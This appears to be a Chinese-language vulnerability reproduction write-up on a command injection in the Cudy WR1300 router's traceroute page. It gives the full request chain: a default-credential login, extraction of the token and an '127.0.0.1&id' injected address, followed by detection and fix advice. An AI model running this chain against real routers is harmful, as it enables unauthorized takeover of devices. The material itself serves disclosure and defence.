深圳市多酷科技有限公司 WR1300 traceroute 后台命令执行漏洞复现
深圳市多酷科技有限公司 WR1300 traceroute 后台命令执行漏洞复现
0x00 漏洞概述
WR1300 是深圳市多酷科技有限公司(品牌 Cudy)推出的一款无线路由器,集成 WAN、局域网、无线 2.4G/5G、IPv6 与 DHCP 功能,其管理后台基于 LuCI 构建,入口为 /cgi-bin/luci。该设备的 traceroute 诊断功能在处理目标地址时,将用户提交的地址值直接拼入系统命令执行,且未过滤 & 等命令连接符。已登录后台的攻击者(包括仍使用默认管理口令 admin/admin 的设备)在 traceroute 页面提交形如 127.0.0.1&命令 的目标地址,即可在设备上以路由器进程权限执行任意系统命令,进一步写入后门、控制整台设备。该问题于 2022 年 11 月公开,综合评分 9 分,无公开 CVE/CNVD/CNNVD 编号。
0x01 影响范围
- 受影响产品:深圳市多酷科技有限公司 WR1300 无线路由器;
- 前置条件:攻击者可访问设备管理后台并完成登录;管理口令为默认值 admin/admin 的设备可直接满足该条件;
- 网络指纹:响应体同时包含
/cgi-bin/luci与timeclock字样; - 版本范围:官方未公布受影响固件版本清单,建议按指纹排查存量设备。
0x02 漏洞分析
利用过程分为三个阶段,均基于设备 Web 后台的标准功能:
1. 登录获取会话:向 /cgi-bin/luci 提交表单登录,载荷包含 timeclock(时间戳)、luci_language(界面语言)与 luci_username、luci_password 两个凭据字段。登录成功时服务端返回 302 跳转至 /cgi-bin/luci/,并在 Set-Cookie 中下发 sysauth 会话值。
2. 获取表单令牌:携带 sysauth Cookie 请求 /cgi-bin/luci/admin/network/traceroute?nomodal=,页面返回状态码 200,包含 form-horizontal 表单结构及 name="token" 字段。该 token 为 LuCI 的防跨站请求伪造令牌,提交诊断表单时必须携带,可从页面 HTML 中提取。
3. 注入命令:traceroute 表单的目标地址字段为 cbid.traceroute.1.addr。设备后端将该字段的值直接拼入 traceroute 命令行执行,未对 & 做过滤或转义,因此提交 127.0.0.1&id 时,实际执行的命令变为 traceroute 127.0.0.1&id,& 之后的 id 作为独立命令被 shell 执行。命令输出被回填到结果页的只读文本区域中,位于 readonly="true"> 与 traceroute to 之间,可直接读取。
从攻击面角度看,该漏洞的两个前置因素叠加放大了风险。其一,/cgi-bin/luci 管理入口可能被映射至公网(常见部署场景推断),任何人都可以直达登录页;其二,消费级路由器的出厂口令长期不修改是普遍现象,luci_username 与 luci_password 直接采用默认组合即可通过验证。两个因素叠加后,攻击者无需任何前期凭据积累,三次标准 HTTP 请求即可完成从匿名访问到命令执行的完整链条。此外,timeclock 字段在登录与诊断表单中均有出现,从命名看用于承载客户端时间戳(此为依据字段名的推断),按验证流程属必要字段。
0x03 利用链与请求包
以下请求包中的目标主机以 192.0.2.1 示意。
第一步:使用默认口令登录后台:
POST /cgi-bin/luci HTTP/1.1
Host: 192.0.2.1
Content-Type: application/x-www-form-urlencoded
timeclock=1668525846&luci_language=auto&luci_username=admin&luci_password=admin判定登录成功的特征:返回状态码 302,响应头包含 Location: /cgi-bin/luci/ 与 Set-Cookie: sysauth=,从后者提取会话值供后续请求使用。
第二步:请求 traceroute 页面并提取 token:
GET /cgi-bin/luci/admin/network/traceroute?nomodal= HTTP/1.1
Host: 192.0.2.1
Cookie: sysauth={上一步获取的会话值}返回状态码 200,响应体包含 form-horizontal 与 name="token",按 name="token" value="(...)" 提取令牌值。
第三步:提交注入命令的 traceroute 表单(multipart 编码,token 字段填入第二步提取的值,addr 字段为注入点):
POST /cgi-bin/luci/admin/network/traceroute?nomodal= HTTP/1.1
Host: 192.0.2.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWa81b2HLyaCj14LA
Cookie: sysauth={上一步获取的会话值}
------WebKitFormBoundaryWa81b2HLyaCj14LA
Content-Disposition: form-data; name="token"
{从 traceroute 页面提取的令牌值}
------WebKitFormBoundaryWa81b2HLyaCj14LA
Content-Disposition: form-data; name="timeclock"
------WebKitFormBoundaryWa81b2HLyaCj14LA
Content-Disposition: form-data; name="cbi.submit"
1
------WebKitFormBoundaryWa81b2HLyaCj14LA
Content-Disposition: form-data; name="cbid.traceroute.1.addr"
127.0.0.1&id
------WebKitFormBoundaryWa81b2HLyaCj14LA
Content-Disposition: form-data; name="cbid.traceroute.1.refresh"
TRACEROUTE
------WebKitFormBoundaryWa81b2HLyaCj14LA
Content-Disposition: form-data; name="cbid.traceroute.1._custom"
------WebKitFormBoundaryWa81b2HLyaCj14LA--返回状态码 200,响应体包含 traceroute to 与结果文本区域;id 命令的输出位于 readonly="true"> 与 traceroute to 标记之间。将 & 后的命令替换为任意内容即可实现命令的任意执行。
0x04 检测与修复建议
排查与检测方向:
1. 检索设备管理日志中指向 /cgi-bin/luci/admin/network/traceroute 的 POST 请求,重点检查 cbid.traceroute.1.addr 字段值中是否包含 &、;、|、反引号等命令连接符;
2. 关注同一会话在极短时间内完成登录、访问 traceroute 页面并提交诊断表单的行为序列;
3. 核查仍在使用 admin/admin 默认口令的设备清单,此类设备应视为高风险资产。
修复建议:
1. 在后端对 traceroute 目标地址做严格白名单校验,仅允许合法的 IP 与主机名格式进入命令行,杜绝命令连接符;
2. 强制修改默认管理口令,新口令应包含大小写字母、数字与特殊字符;
3. 管理界面不应对公网开放,通过防火墙设置访问白名单;
4. 关注厂商官方渠道的固件更新公告,及时升级至修复版本。
0x05 参考资料
1. Cudy 官网:https://www.cudy.com/

Wayyt 1小时前
最新评论